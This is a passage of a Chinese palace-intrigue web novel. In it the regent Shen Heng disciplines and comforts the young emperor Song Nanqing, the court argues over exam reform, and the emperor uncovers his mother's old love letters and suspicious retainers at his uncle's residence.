沈衡垂眼看见少年细腻微鼓的脸颊被皮拍戳出一个小窝,随着他抬指,皮拍撤离,那个小窝就变浅了一些。凑近了都能闻到宋南卿面颊上玫瑰膏子的淡淡香气,这个季节草长莺飞,空中容易有浮毛柳絮一类,娇气的小孩容易面颊过敏,这玫瑰膏子还是他专门找来的方子,这个季节涂最好,否则宋南卿出门风一吹就脸痒过敏满脸起小疹子。
沈衡把胳膊放下,淡淡道:“给我看看手怎么了。”
听到他语气有放松的意味,宋南卿忙不迭把右手手心举到他面前。跟沈衡骑马射箭磨出来的满手茧子不同,他手心白嫩光滑,中间有团粉红的痕迹,只是淡淡的粉色而已,再不看都快消散了,被他说的跟多严重一样。
沈衡用皮拍抬起他的右手颠了下,问:“痛吗?”
黑色的眼珠掺杂了一点琥珀色,看人的时候显得温柔,他今日在家穿的也简单,垂顺飘逸的衣袍显得动作随意。
宋南卿嘴角向下,可怜兮兮点头,上嘴唇那颗小小的唇珠微翘,透着鲜红。
“啪——!”皮拍毫无预兆地落在了手心,打的宋南卿手指颤抖,红彤彤的皮拍印子落在上面,还有伴有星星点点的梅花花瓣形状,一颗颗金属颗粒分布均匀,打在皮肤上留下了漂亮的印记。
宋南卿肩膀往上一耸,眼眶瞬间湿了,开头的疼痛忍过去后是又烫又麻的感觉,痛意朝外扩散,他手指蜷缩,把火辣辣的掌心贴在大腿柔软的布料上轻搓,试图驱散疼痛。
“呜……”少年低垂着头朝掌心吹气,要哭不哭地发出哼唧声,一副被欺负了的样子。
沈衡握着皮拍再一次把他的手挑起,这一次掌心的那团红色深了一些。宋南卿颤抖着手断断续续道:“不要……呜不要了。”
“手伸直,还需要我再专门教你挨打的规矩吗?”
微微沉下来的声音引得宋南卿心跳不止,他抽泣了一下,两只手并起来,胳膊慢慢在胸前伸直,左手腕子上还挂着那串佛珠,右手掌心已经红成一团。
身下的软榻并不大,他已经跪到了边缘,脚背被垫子的那条棱挤压着,膝盖阵阵发软。
沈衡坐在他前侧,袖子整齐垂下没有一丝褶皱,手里的皮拍在少年掌心有一下没一下轻拍,引起人阵阵颤栗,不知拍子下一次重重落下会在何时。
“陛下知道今日错在哪儿吗?”沈衡问。
宋南卿微低着头,想了想道:“没有经过先生允许私自出宫,还、还去了不该去的地方。”
“嗯。”沈衡淡淡应了一声,似乎对这个回答并不满意。
宋南卿胳膊举的有点酸,往下放松了一些后,手心又挨了一板子。这下子分量不算轻的皮拍被放在了他手心托着。
他眼眶含泪努力把手抬成标准的姿势,绞尽脑汁终于又想出来一个:“我骗先生说在宫里好好读书,其实根本没有。”
“呜呜手好酸,卿卿真的知道错了…先生饶了我——”
细细的手臂看起来一掐就能掐断,佛珠挂在上面大小并不匹配。宋南卿手臂伸直举了半天,已经开始无力地抖动,更别提现在还在举着拍子。
但他还是不敢放下来,怯怯看了一眼那个皮拍后,软声开始求起沈衡来。
保护欲、惩罚欲、控制欲、征服欲,拿捏一个男人的心,这就是《凤栖楼待客培训指南》的核心要义。但上面也说了,不同的男人应对方法不同,比如有妻有妾的,和只有妻无妾的,就要使用不同的方法。
据宋南卿观察,沈衡院里是一个妻妾影子都没有,对付这种人最容易,但他还得进
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一步查证。
争夺之时以策略为先,这是沈衡教他的。只要能活下来,让摄政王为他所用,至于是用《战国策》还是《青楼待客培训指南》又有什么要紧,只要能达成目的就是了。
沈衡眼看着他眼神飘忽不知道神游到哪里去了,伸手掐了一把脸让他回神:“我说了,不喜欢卿卿有事瞒着我,十下,躲了加罚。”
柔嫩的脸颊肉被掐起一小团,瞬间就染上了红色,又滑又弹的脸肉简直比最上好的丝绸还要细腻。宋南卿脸被朝一侧扯,话说的含糊不清,脸皱成一团,但沈衡还是听懂了。
“写的了字,就是会痛一些罢了。”他抬手,韧性十足的皮拍扬起又落下,划破空气重重拍在了红彤彤的手心。
宋南卿发出短促的尖叫,手指忍不住蜷起挡住手心,被打的脚都勾起在榻沿上,红得更严重的不止手,还有他的脸。
拍子在他手背不轻不重抽了下,宋南卿呜咽着重新把手摊开,摆在人面前,胳膊不停打颤。
“啊!”又一次皮拍落下,宋南卿猛地把手收回,呼吸间都带上了可怜的意味,“痛…呜呜好痛,不要打了……”
他手心发胀发麻,急需降温,可是沈衡的板子又落了下来。在接连挨了三下重的之后,宋南卿终于受不了了,摇着头翻身想跑,脚还没落地就被沈衡抓了回去。
细细的脚腕被攥在手里往上拉,宋南卿软倒在榻上被拖了回去。在这种时候,什么御男十术什么接客指南,他脑子里只有讨先生开心让他放过自己这一条。
少年抱着靠枕哭的可怜,边哭边向沈衡认错:“对不起…呜呜真的知道错了,受不了了,下次再补完好不好呜呜求你了。”
沈衡抬指擦了擦他的眼泪,轻叹一口气,把人拉到自己怀里,对着哭得梨花带雨的小皇帝说:“好了,别哭了,小心等会儿眼睛疼。”
热热的湿帕子被绞好,沈衡展开帕子盖在了他的眼睛上轻轻擦拭。
“我没有瞒着先生,去凤栖楼是因为…”宋南卿坐在榻上还在轻轻抽泣,“因为听说凤栖楼的云岫一首筝曲天下第一,在我心里明明是先生筝弹得最好,所以我才要去看看,她到底是不是浪得虚名。”
沈衡嘴角轻抬:“是不是浪得虚名?”
宋南卿瞪大眼睛道:“没有先生弹得好,我是因为你肯定不会让我去那种地方,才瞒着你偷偷出来的。”他悄悄抱住沈衡的脖子把脸埋进去,“谁让先生最近那么忙,都没有空陪我。”
一点湿热的泪滴落,在沈衡脖颈处滑过。
沈衡轻闭了下眼,道:“你一个人出来,不安全,万一被有心之人注意到,我不放心,没有下次了。”
宋南卿没想到这才是他今日生气的最大原因,他还以为……
胸膛左侧的心脏微微发紧,宋南卿攥住衣摆,一股暖流流淌过心脏,带着酸与涩,呼吸也发滞。但很快,他就恢复了正常状态。
沈衡的书房布置和他本人一样,清雅淡然,但古朴深色的木质家具又深藏厚重底蕴。二人坐着的榻旁边开了一个六角棱窗,正对着一棵粉色海棠,浅粉深粉交叠在一处,绿色的叶子承接在下方,在夜色中映衬着月色随风摇曳,透过窗口看宛如一副画般。
靠窗底下搁置了张桌子,上面放了一张筝,是制琴名师张大师所致,传闻他三年只做一把琴,还要看眼缘。
宋南卿靠在人身上被擦干了眼泪,他看见那把筝,突然问道:“先生有弹筝给别人听过吗?”
沈衡转头看他,问:“别人是指谁?”
8.第八章
粉白海棠沾染了露珠,在夜色中更显娇艳,不知何时已经伸到了窗户边上。花下的宋南卿抬手折了一枝,手指抚摸揉弄着花瓣,微微侧头道:“就是、为了讨别人开心,弹筝给人听什么的。”只着中衣让他显得弱不禁风,微风从窗口吹来,墨色发丝垂在脸庞摇曳。
沈衡关上了窗,风声止,室内寂静一片。
“没有。”他丝毫没有停顿道,站起身要去给宋南卿拿药膏。
还泛着潮红的手指又细又热,在沈衡刚迈出一步时抓住了他的手。沈衡低头,看见宋南卿抬眸望着自己,睫毛颤动,眸子里映出晃动的烛火影子。
“听说礼部侍郎要娶续弦了,他好像跟先生差不多年岁,这都娶第二个了。”宋南卿像随口一说,语气轻快。
沈衡“嗯”了一声,停在原地等他的下文。
宋南卿望着眼前人。宋氏一族皇室血脉有两大为世人追捧也可以说是诟病的特点,一是美貌迤逦,二是重色重欲。但他看沈衡的面容也不比这些皇室子弟差,尤其在烛光下看,气质高雅,鼻梁高挺,深邃的眼睛认真看向自己的时候,眼睛里只容得下他。一想到这样的先生要娶妻生子,像抱小时候的自己一样抱属于他的孩子,宋南卿就感觉一股无名的气郁结在心头。
“先生…打算什么时候娶妻?”宋南卿试探性问他。
沈衡被拉着的手感受到了从宋南卿皮肤上传来的热气,这股温度让人生燥。
他下意识往手腕处摸,才发觉自己的佛珠现在在宋南卿手上。他掌管着宫里礼佛之事,不是无欲才念佛,而是念佛才无欲。表面上禁欲不沾风雪,其实只是克己做的比较好罢了,佛珠是禁锢欲念的武器,念经是洗涤欲望的清流,早些年在战场打仗时杀欲重到不得不靠佛祖拉回,能止小儿夜啼的凶名也是那时传出来的。
沈衡手指微动,说:“陛下想臣尽早娶妻?”
宋南卿暗道不好。如果他娶了妻就要安定在府邸,肯定不能像现在这样进出皇宫没有任何限制,成家后权臣有了妻族势力加持,一定会被忌惮,这样权势也会被削减。何况沈衡是摄政王,娶妻一事更加敏感。
沈衡那么问,是在试探自己有没有想削权的意思吗?
宋南卿眸色微变,抱住沈衡的手臂凑近道:“才不是!”
“不想先生娶妻……”他发音模糊,把头枕在人胳膊上说,“就不要,到时候你就更没时间陪我了,朕不同意!”
沈衡眸色深沉,看着在自己身上撒娇的人,说:“就算是陛下也没有干涉人私事的道理。”
宋南卿瞪圆了眼睛看他,放大了声音问道:“你是不是看上哪家小姐了?是谁?”如果真的有喜欢的人,他的策略就得变了。
“没有,过来点给你涂药。”烛光下,沈衡拿着药膏给宋南卿红肿的手心一点点擦拭。
宋南卿用打量的眼神看他,嘴唇微噘:“真的没有?”
“没有。”
“那先生今晚抱着我睡。”
沈衡动作一顿,语气带着一丝无奈:“你已经长大了…”
宋南卿摊着手晾药膏,低头说:“我昨夜一个人睡,又梦到被关在井里那夜了。”
二皇子逼宫血染皇宫,暴雨闪电交加,他被扔到枯井里自生自灭那一夜。带着血腥气味的雨水不断落下,他被血水和尸体慢慢淹没,那种冰冷到现在想起还会打冷颤。
沈衡晚来一步,他就活不到今天,会和那些死尸在一起,发烂发臭。
寝殿烛火熄灭,宽大的拔步床上,宋南卿裹着被子双眼紧闭,紧紧贴着沈衡的胳膊不松手,令人安心的淡淡檀香味道弥漫,整个人仿佛都放松下来。
他怕沈衡想要除掉他,但没有沈衡在身边他又睡不好,靠近是危险,远离又痛苦。
不谈权力、不谈纷争,还是只有在沈衡旁边,他才能睡得安稳。
————
前日御史王潜在青楼被抓一事,引起了群臣议论,在次日上朝,看见副御史陈立文站在了原来王潜的位子上,大家表面不说什么,背地里的讨论已经过了好几番了。
“还未祝贺陈御史升官,我那儿有两瓶珍藏的好酒,下了朝有空来我府里喝两杯?”兵部侍郎说。
陈立文看了他一眼,道:“喝酒误事,想必王潜也是因为饮酒才失了心智,去做了违反大盛律令的事。”
经王潜一事,去凤栖楼的官员明显寥寥无几了,谁都不想做第二个出头鸟。
随着一声铃响,宋南卿身穿朝服缓缓走上皇座,转过身时衣摆上的金色刺绣在阳光下熠熠生辉。
“众卿平身。”他把胳膊搁置在一边扶手上,眼神扫过站在下面的众大臣,尤其是仔细观察了下贾良的脸色。
“臣有本要奏。”陈立文成为御史台正使的第一天,就锋芒毕露。
“在前御史王潜被抓当晚,贾良大人之子贾士凯大闹凤栖楼,打伤了一众围观人员。他们因为贾公子的家世不敢声张,臣想请问贾大人,此举是否是您授意。”
此话一出,全场安静。
贾良是内阁首辅,更是皇帝的亲舅舅,百官之首。在此之前,未曾有任何人敢对贾大人有非议。因为朝中做官者大都是靠家世荫蔽,细说起来都有几代姻亲,在场官员没有几位是靠读圣贤书坐上这个位子的。
世家子弟在京城仗权势为所欲为不是一天两天了,他们之前之所以未讨论过这个问题,因为世家权力大,正是他们想要的。
但陈立文,不一样。
他不是什么世家子弟,他祖上家贫,在地里刨食吃。有一年大旱,地方官催收税费和收缴粮食,他们实在交不出来,陈立文的父亲被这个地方官手下打死立典型,这个县当时为凑够税费死了一大批人。陈立文,是大旱那年为表体恤之情,受了政策恩惠,科举进朝廷做官的。
但进了朝廷才发现,这里和当年的贫困县没有什么区别,都是有权柄的人只手遮天,为了利益视平民百姓生命于不顾。
不过正是因为他在这里举目无亲,才能当好言官无所顾忌。
“可知贾士凯是因何事大闹凤栖楼?”宋南卿问。
陈立文道:“据说是因贾公子花费数千两买下的花魁被他人夺取,他一气之下打伤凤栖楼管事,那人到现在还卧床不起。”
贾良目光浑浊,先一步跪倒在地请罪:“陛下,犬子犯错实是臣之罪过,那花魁一事臣略有耳闻,士凯说她长相与逝去亡母相类似,所以想助她脱离水火。只是方法用的不对,臣必将让他好好反省。”
宋南卿手指轻弹,道:“说起来朕也好久没见士凯了,他到了快参加科举的年纪了吧?”
贾良闻言嘴角微抬:“承蒙陛下关心,老臣定会督促他好好读书,报效朝廷。”
“贾公子有报效朝廷的机会,可被他打断右手的平民之后却是没有这个可能了。”陈立文依然不依不饶。
“从王潜到贾士凯,官宦子弟靠着自身权力为所欲为欺压百姓,如不加约束,更多的王潜之流实属是危害朝廷的蛀虫。”
听他说这话,有人站出反对:“陈立文!别忘了你现在也是官宦的其中一员,别以为你是言官就可以想说什么说什么。”
宋南卿直视陈立文,问:“那你说,你有什么好提议。”
“科举改制。”他目光锐利,“给平民更多机会,既能选拔出更多可用人才,也能给这些世家子弟危机感,让他们发愤图强不再不学无术。”
户部尚书第一个反对:“如果放开科举,场所修缮都是费用,此前东南抗倭,兵部已经欠了户部不少银子,怎么,大家今年还过不过了?”
但也有支持者:“朝廷目前确实是用人之际,
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有人尸位素餐不如严格选拔流程。”
贾良道:“户部确实拿不出太多钱款来,东南军需、工部建设都需要用钱,是臣能力有限,连独子都管不好,更何况管理户部呢。”
宋南卿看向沈衡。
沈衡淡淡道:“贾大人日理万机,能顾周全已经是不易,怎么能面面俱到,也别太苛责自己。”
“陈御史的提议确实有可以考虑的地方,毕竟贾大人已年老,总有顾及不到的地方,朝廷确实需要新生力量来激发活力,可再完善交于礼部审议。”
宋南卿看他说起年老时,贾良明显变色的脸,努力忍住笑意道:“舅舅,朝廷缺谁都不能缺了您,近日许是太操劳,可以休息几日,注意身体。”
————
“哈哈哈哈哈——”宋南卿坐在秋千上笑得前仰后合,“你都没看见,贾良那个脸都变绿了,年老…哈哈哈哈年老!”
沈衡一抬手托住他的后脑勺防止人后仰过度摔倒。
“那个陈立文,确实敢说。”他对宋南卿道,“王潜怎么样了?”
宋南卿收敛了笑声,一脸懵懂:“在狱中关着呢,什么怎么样?”
沈衡刮了下他的脸蛋,没再说什么。
“科举改制,你怎么看?”他问。
宋南卿嗯了一声,说:“必须要改,但不能是我下令要改,先生可否指点一二。”
沈衡偏头,不说答应也不说拒绝,只问:“好处呢?”
他眉头微挑,俊朗的面容带上了一丝不正义也不端正的意味。
宋南卿往后仰头,坐在秋千上勾住人的袖子轻晃,“先生帮我不是应该的嘛。”
绳子带动下面的秋千前后摇摆,宋南卿双脚伸直荡来荡去,也勾着沈衡的袖子在风中摆动。
花园里的花都开了,翠绿的枝叶、粉红的花瓣还有鹅黄色的迎春花交相辉映,在人间四月天里,小皇帝在春意盎然的院子里荡着秋千,他眼睛转了转道:“上次从倭人那儿收缴的宝物先生有喜欢的吗?你上次说不要的呀!”
旁边的石桌造型奇特嶙峋,雕成了树根的形状,上面摆放着几个祥云纹白瓷果盘。宋南卿伸手摘下一颗晶莹饱满的紫色葡萄,薄薄的果皮被他细致剥开,绿色的葡萄肉被捏在指尖渗出甜蜜汁液。
他把剥好的葡萄递到了沈衡嘴边,太阳照射在前方池水中,波光粼粼的层层光影倒映在了他的眸子里。
沈衡低头把指尖的那颗葡萄含进了嘴里,酸甜的味道连同宋南卿指尖的香气一起让感官感受了个彻底。葡萄汁粘稠,粘在手指上被一同舔过。
“……够吗?”宋南卿懵懵仰头看他,视线移动到沾了汁液的薄唇上。不知怎么的,他突然觉得刚刚那颗葡萄好香,香的他嘴里开始分泌口水。他踮脚凑近了几寸,睫毛垂下,捻了捻残留着温热的触感的指尖。
“够了。”眼见宋南卿的脸快蹭到自己下巴了,沈衡抽出帕子给他擦拭着手指上的葡萄汁液,也挡住了一再缩短的距离。
真的好香,葡萄香,还有沈衡身上不知哪里发出的香气,可能是他又去佛堂了,可是佛堂里的味道又和这不一样。宋南卿低头看着自己的手指被帕子擦过,隔着一层布料,被沈衡的手包裹住,也能感受到他身上的温度。
“郗家自上次被贬,现在该是启用的时候了。”沈衡的声音平稳,出声提示道。
宋南卿思绪翻了几番,忽然眼睛一亮,“你是说!”
“就是他。”沈衡眼中含赞许。
宋南卿道:“先生狡诈…”
沈衡摸了摸他的头,“你是我教的,不逞多让。”
得到这句不知是表扬还是提点的话,宋南卿心跳得比之前快了一些,他踮脚对着头顶温暖的掌心蹭了蹭,笑得骄傲又张扬:
“要做先生最喜欢的学生,自当如此。”
9.第九章
散朝后,穿着官服的群臣相继往外走,重臣在前,没什么权力的大臣则落在后面。迈过午门后,周围官员几乎已经散尽了。三个年纪不算轻的人聚在一起,边往外走边轻声交谈。
“借着这种事都没能削弱贾良分毫,陛下到底还是偏向他的。”一个留着胡子的官员道。
“但陈大人能上台,就证明上面不是没有想要变的想法。”
“陛下明年就加冠,该急的人现在自然急不可耐,如贺大将军那般都被贾良等人算计,更别提我等没有家世傍身,如若让他们架空陛下,就再也无出头之日了。”
正在谈论的档口,不远处春见捧着一托盘急忙赶来,笑着说:“陈御史,陛下感念您勇于直言,赏赐狼毫毛笔并砚台一副,希望您掌管御史台后仍能记得今日之勇,做好监督百官的咽喉。”
陈立文一愣,而后跪倒拜谢。
他身后二人相顾无言,但内心想法已如明镜。
宋南卿赏了弹劾贾良的陈立文,就不能不去安抚贾良。这日正值休沐,御驾驶出宫门,朝位于京城东北角的贾良府中去。
与沈衡府邸的清雅避世相类似,贾家也不住在繁华之处,只是府邸很大,是当初前朝贾贵妃得宠,先帝又把原本贾府旁边的宅子一并赏给了他,这是扩建后的样子。
宋南卿踩着木箱下马车,一下车正对面的是门口两个大石狮子,一派庄严之气。
他们刚停车,就有管家小厮应过来询问他们是干什么的。在看到春见手中的那块牌子后,管家忙不迭下跪磕头。
宋南卿挥挥手,“朕来看望舅舅,不用管那些排场虚礼。”
他先一步迈入贾府,身后跟着高大的侍卫,走路时脚下带风,头上系的蓝色飘带在空中轻轻飘荡。金尊玉贵的少年只是浅浅带了几个随从,也没穿金戴银,并没有皇帝出行那种一大群人乌泱泱围着的排场,但就是这简单的架势,却让人丝毫不敢轻视。
旁边小厮还未能从陛下亲临的惊喜中缓神,管家训斥道:“愣着做什么,快去通知老爷!”
进府先是一座很大的假山,周围树木环绕空气清新,宋南卿没管带路的人,只是随意走着,经过一间书房时听见了里面讲课的声音。
“克明俊德,以亲九族。这是上堂课留下的策论试题,收上来的答卷中阮羡之答的很有水平,你上来念一念给他们听。”贾良捋着胡子在讲台上道。
宋南卿从窗外看见一个穿着朴素的年轻人上台念起了自己的答卷,就帝王的品德修养如何影响国家和社会治理发表了论述,他听的入迷,也感到收获良多。
一袭布衣一卷宣纸,说出的不是冠冕堂皇的话,而是克己修身才能治国平天下的豪情壮志。
正听着,贾良的管家也赶到了。宋南卿不想打搅了这个课堂,跟他移到别处才道:“舅舅是在给人教课?”
管家弯腰回答道:“是,考试临近,老爷在家里设学堂,给一些去不了太学的学生补课教书,也算是成全这些上进学子的心愿。”
说话间贾良已经收到消息赶过来,见到陛下行了一礼。
宋南卿虚扶住他,道:“舅舅不必多礼,我只是路过正好进来看看。”
贾良对一旁的管家说:“怎么没请陛下去屋子里坐着,在外面被太阳晒着像什么话。”
宋南卿没发表什么意见,被带到大堂主座坐下。贾府里装饰的很低调,没有什么富丽堂皇之感,摆件也都不是什么名贵之物。他端起茶杯喝了一口茶,眉头微皱:“舅舅这是去年的茶吧?”
贾良放下茶杯,“想着陛下来,特意吩咐他们拿了最名贵的茶,忘了新旧,是臣的疏忽。”
“管家,快去给陛下换杯来。”
宋南卿说不必了,他一边不动声色打量贾府的陈设,一边随口问道:“士凯呢?怎么没见他。”
贾良沉吟:“自那日臣听了陈御史的话,反思自己教子确实有疏漏,士凯自幼丧母,我也是没有狠下心来严格管教,所以才让他做出了许多错事。他受了三十板子现在还在跪祠堂,身上有伤未愈怕冲撞了陛下,故没让他过来。”
宋南卿摸着粗糙的白瓷杯,心里的疑虑并没有被打消。
从那日王潜被抓,他就审出了一些东西。敢买卖朝廷俘虏当私奴赚钱,私底下肯定还会有更多不为人知的事。但他今日来贾府却发现这府上十分节俭,不像是贪污受贿作风不端之人的府邸。
难不成,王潜那些真的只是他个人行为,贾良清清白白?
“让他好生歇着便是,等好了再来请安也不迟,朕又未曾真的对他动怒。”宋南卿认真看着贾良道,“母亲去世后,您就是我唯一的亲人,士凯也是,我怎么会因为别人三言两语就迁怒他呢。”
“那日朝上我想保舅舅,只是摄政王先发话,我也不敢驳了他的面子。”宋南卿言辞恳切,指尖摸着光滑的茶杯口。
贾良也在端详他,似乎在考量什么。
午时已到,门外管家派人来问要不要传膳,顺便在他身边耳语了几句。
贾良眉头微锁:“让她自己用饭便是,就说我这里有贵客。”
圆形的八仙桌上,是四荤四素。贾良低头说:“没想到陛下会来,都是按平常菜色做的。”
宋南卿看了一眼桌上的菜,随和道:“宫里菜吃腻了,正想尝尝这平常菜色。”窗外倒映着魏进他们镇守外面的影子,春见就在门口,况且这是在贾府,想来贾良还不敢在饮食中做手脚。
他拿起筷子,但举目四望也没看到一道自己想吃的,筷子在手里顿了顿,这一停顿,他发现筷子的不同之处。
像是平常木头做的筷子,触手却是不一样的分量,花纹也不是雕刻而是珍贵的蛇纹木本身纹路,筷子尾端镶嵌的银子浮雕精致立体,是花费大功夫制成的。
宋南卿面上不显,暗里已把桌上的餐具尽收眼底。
他用勺子挖着茶碗里的樱桃乳酪吃,就这道菜还可以一吃了,其他的他连尝都不想尝一口,做菜“色香味”,色占第一,桌子上又没鱼又没虾的就不说了,卖相也不好,跟宫里那些精致的菜色完全没法比,他怀疑贾良就是装给他看的。
“听闻那日贺将军庆功宴,陛下多吃了两口蜜煎樱桃,摄政王都不让?”贾良看着桌上的樱桃状似无意提起。
宋南卿点头,心想那是因为他牙疼,沈衡关心他才不让吃多的。
“老祖宗是有食不过三的规矩,但摄政王有时候过于刻板不知变通,对陛下而言不是一件好事。”
宋南卿眨了眨眼,神色微动:“但沈先生是先皇指定的辅佐帝位的人选,朕实在不敢忤逆。且他掌握禁军,还有北方科尔沁一族,就算有时刻板,作为学生也不敢多说引起他不快。”
宋南卿睫毛轻扇,唯唯诺诺的样子完全就是个十几岁小皇帝无人庇佑怕东怕西的样子。
见他这样,贾良转变了身份,以舅舅而不是老臣的语气说:“陛下就快加冠了,如果一直受摄政王掣肘也不是个办法,朝中须有人帮你。”
宋南卿抬眼,像找到依靠一样望向贾良:“希望舅舅指点一二。”
贾良放下筷子
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,语重心长道:“王潜被抓,新御史上位,据臣看不是个安分之人,我们这些老臣在还能帮助陛下一二,如果都被他弹劾走,就没有站在陛下这边的人了,到时候就是摄政王的一言堂。”
宋南卿点点头,“可是王潜犯了罪,没有办法再官复原职了。”
“陛下可知,王潜犯的究竟是何罪,在狱中那么久都没被放出来定罪?”贾良试探道。
宋南卿懵懂望着他:“不就是□□,只是大理寺卿身体不好,摄政王跟我说他又受了仇家暗害还在卧床,所以王潜这儿迟迟结不了案,舅舅觉得有什么问题吗?”
贾良本来坐直的身体又微微放松了下去,给宋南卿盛了一碗汤放到他跟前,说:“无事,陛下往后在宫中需小心行事,否则暗害不一定会落到谁身上。”
宋南卿露出诧异的表情:“舅舅何出此言啊?”
贾良看他理会不了自己的暗示,略微烦躁地叹了一口气:“宫中人人心怀不轨,往后摄政王再有什么事,记得说与舅舅听,我会帮陛下考量一二。”
宋南卿忙点头,举着勺子对他说:“我还想再吃一个乳酪,舅舅还有吗?”
贾良看他一眼,又看一眼,心里暗暗摇头,说:“有,陛下稍等片刻。”
等贾良一出,宋南卿把勺子举起对准了天光,在翻转之间看见了明显的玳瑁花纹,他垂眸思考:今天来贾府事出突然,贾府下人看来是换了一批餐具,将原本的金银玉器换成现在这木头等不起眼的东西,殊不知就是这些不起眼的东西,却也是价值珍贵的很。
“刚刚闲逛,路过旁边那道门里面是锁着的,你知道那是何地吗?”宋南卿问一旁贾府的下人。
那人见是圣上发问,忙不迭回答道:“听说是之前府上小姐的住所,长久不用就锁上了。”
“没听说舅舅有女儿啊?”此话一出,刚好碰上贾良回来。听明白了前因后果,贾良冷冷看那下人一眼,微笑着想搪塞过去。
宋南卿先一步发问:“我母妃之前在这儿住过,我能去她的住处看看吗?昨夜母妃托梦,说生前舅舅照顾她颇多,所以朕今日才未告知就上门,也是为了还母妃心愿。”
不只是哪点触动到了贾良,他表情微变,给宋南卿带了路。
“之前有下人笨手笨脚打碎了贵妃娘娘的花瓶,为了保留她闺房的样子,我之后就令人封存起来,没人进来过了。”贾良让人打开大门,“所以可能有些灰尘。”
大门一开,不算大的房间照进了第一缕阳光,空气中的尘埃在光线下飞舞,宋南卿深深打了一个喷嚏。
“我进去就行了,你们别跟来了。”宋南卿看着屋里属于旧时光的陈设,心上忽然像被什么触动了一般。
————
“爹,圣上来府,我要不要跟他请个罪啊,那御史实在可恶参我一笔,待来日我入朝圣上对我印象不好怎么办啊!”贾士凯急的到处走,围着贾良团团转。
贾良喝了一口上好的碧螺春,杯里茶汤清正,他沾了茶水的胡子抖了抖,“我跟圣上说了你挨了板子在跪祠堂,别到他跟前去被看见了。”
“!爹还是你有法子!”
贾良沉吟道:“我可是圣上的亲娘舅,你也算他亲兄弟,有什么可怕的,往后他要想皇位坐的安稳,还得靠我们。”
贾士凯在椅子上坐下来,“可是,我怕弹劾的多了,陛下会疏远咱们。”
贾良想了想宋南卿今日的表现,哼笑一声,“想必沈衡也没怎么好好教他为君之道,我儿且放宽心,有爹在,必让你平步青云。”
10.第十章
窗纱拉开,阳光透进来,宋南卿才看清了这房间的全貌。不算大的一张床上放着两个枕头,房间里弥漫着阴湿发霉的味道,连红色的床幔如今也已经褪色成发黄的样子。斯人已逝,连她曾经住过的房间也像是陪她去了。
宋南卿对母亲的印象不算很多样,自他出生起贾贵妃就没了曾经的圣眷优渥,他印象中的母亲总是低垂着头替别人洗衣服,爱流泪但也没抱怨过老天不公。她尽自己所能好好保护自己,但有时在倾盆大雨下,那一个小小的芭蕉叶实在是遮挡不住多少雨和电。
但母亲爱看书,宫里有很多藏起来未被夺去的书籍,大概在皇宫中,只有真的黄金屋才令人觊觎,书中的自然没多少人惦记。
他从小被母亲教着认字、看书,心智早熟,所以才能在尔虞我诈的后宫里好好活到六七岁,在之后如何能与当时作为质子的沈衡共同做局图谋皇位,也是母亲从小将他培养的好。
宋南卿站在床前,因着尘埃飞起又打了个喷嚏。头上的蓝色飘带因着动作幅度较大,从发丝间飘落,慢慢落到了床底。
他扁了下嘴,弯腰捡飘带,在摸了一手灰即将生气要放弃的时候,手指突然触碰到了一个冰凉的硬物。
捏住那个冰凉的硬物往外拉,宋南卿看见一个不大的木盒子从床底被拽了出来,他摸到的正是盒子上的银锁。
时过境迁,锁头已经磨损,他用力一掰,银锁脱落。
宋南卿眯了下眼,心想这难道是母亲年轻时藏在床底的秘密?
他蹲在地上双手合十,心里念叨着:“母亲不要怪我哦,如果是财物我就烧给您,如果是别的秘密,我是你儿子知道一下也不要紧吧!”
木盒子敞开,出乎意料的是,里面是一张绣着独特刺绣的帕子,里面包着一沓泛黄的信纸。这个刺绣技法独特,是母亲独创的,信纸也一定是她好好保存的。
宋南卿一页一页翻过,都是同一个人给母亲写的信,情意绵绵有时还附有作的情诗。时间跨度很大,一开始是作为好友相约出去游玩,后来是青涩的、羞怯的、不好意思的,再后来是大胆示爱的、表示将来一定要娶你的。
但再往后,信中的一字一句是不解和询问,问她为什么,问她难道情爱都是假的吗?
最后一封,是未寄出去的信:
文康:
身为家族中人,享受家族带来的优渥条件就势必要背负使命。姐姐在宫中处境艰难,父兄都令我进宫帮扶姐姐,也是为了振兴门楣,救贾家于水火。父兄可靠读书做官来为家族带来荣耀,我不能随你而去弃贾家于不顾。且兄长告诉我,圣上有将公主下嫁于你的意图,我不想阻碍了你的前程。
情与爱都是真的,我们之间的感情不会有任何东西可以削弱。就算贾家和郗家世代关系不好,我们之间也从未受这些关系牵连分毫。不要去责怪我的兄长,他也有很多无能为力的地方。
望你平步青云,家庭和睦,幸福安乐。
落款是贾娴。
这是宋南卿第一次知道母亲的名字,不是贾贵妃,不是贾家那个被圣上厌弃的女人,而是这个独属于她自己的名字。
看完这些信,宋南卿久久沉默。原来在入宫成为贾贵妃前,她还有这样一段不为人知的往事。
贾家和郗家一向不睦,从哪个角度来说他们这两个有情人都没办法终成眷属,更别提还有权力纷争在里面。但郗文康这个人,宋南卿屡有耳闻。
在十年前先皇在世时就是个文采出众的人,出身望族又精通制图,现在祭祀的礼堂设计就有他的手笔。但几年前一病不起,后来宋南卿继位,贾良出任首辅,郗氏一族大受打压。
听闻郗文康到现在还未娶,当然,这种私事宋南卿知晓,还是因为世人常常把他和沈衡相提并论,关于京中芝兰玉树翩翩公子单身榜,那可是印成小册子风靡一时的,春见买来的话本子中还有以他们为原型写的。
那日沈衡说关于科举改制推行有个人选,说的就是此人。
宋南卿把信件全都拿出叠好塞在袖子里,又把木盒放回原处,拍了拍手掸掉灰尘。
屋外的春日阳光带来丝丝暖意,把那间屋子里的阴霾彻底驱散,宋南卿出门往西看,发现是一条长长的巷子,不知通向哪里。
他借着找地方净手的名义带着春见穿过那条巷子,通向的地方竟然是一个马棚。
十几匹骏马毛发油亮正在吃草,负责给他们喂食的是一个身量高大皮肤古铜的男人,他的头发很奇怪,像是死刑犯才会留的,后面剃短了,露出后方脖颈的刺青,宋南卿在墙后面躲着细瞧,在看清刺青痕迹的一刹那,眼睛睁大。
就在他想要往前几步时,一个漂亮的女人款款从一侧走上来,手指搭上那个喂马男人的肩膀笑着说了什么,耳朵上的翡翠耳环在阳光下流光溢彩。
宋南卿听到那个男人叫了声姨娘,往后退了几步没让她靠太近。
“小小贾府还真是精彩啊。”宋南卿告别贾良出来后,在马车上轻轻感叹。他往后靠在软枕上,眼睛微阖,对魏进问道:“有什么发现?”
魏进坐在前侧驾马前行,听见问话微偏过头道:“贾府似乎有许多禁地,而且据奴才看,那些家奴身上都带武功,招数还都不是出自同门同派。”
宋南卿道:“豢养私奴?”
“奴才有这个怀疑。”魏进应道,“贾府太大了,有很多地方可以藏,而且今日有些仓促,没有把地形图画完全。”
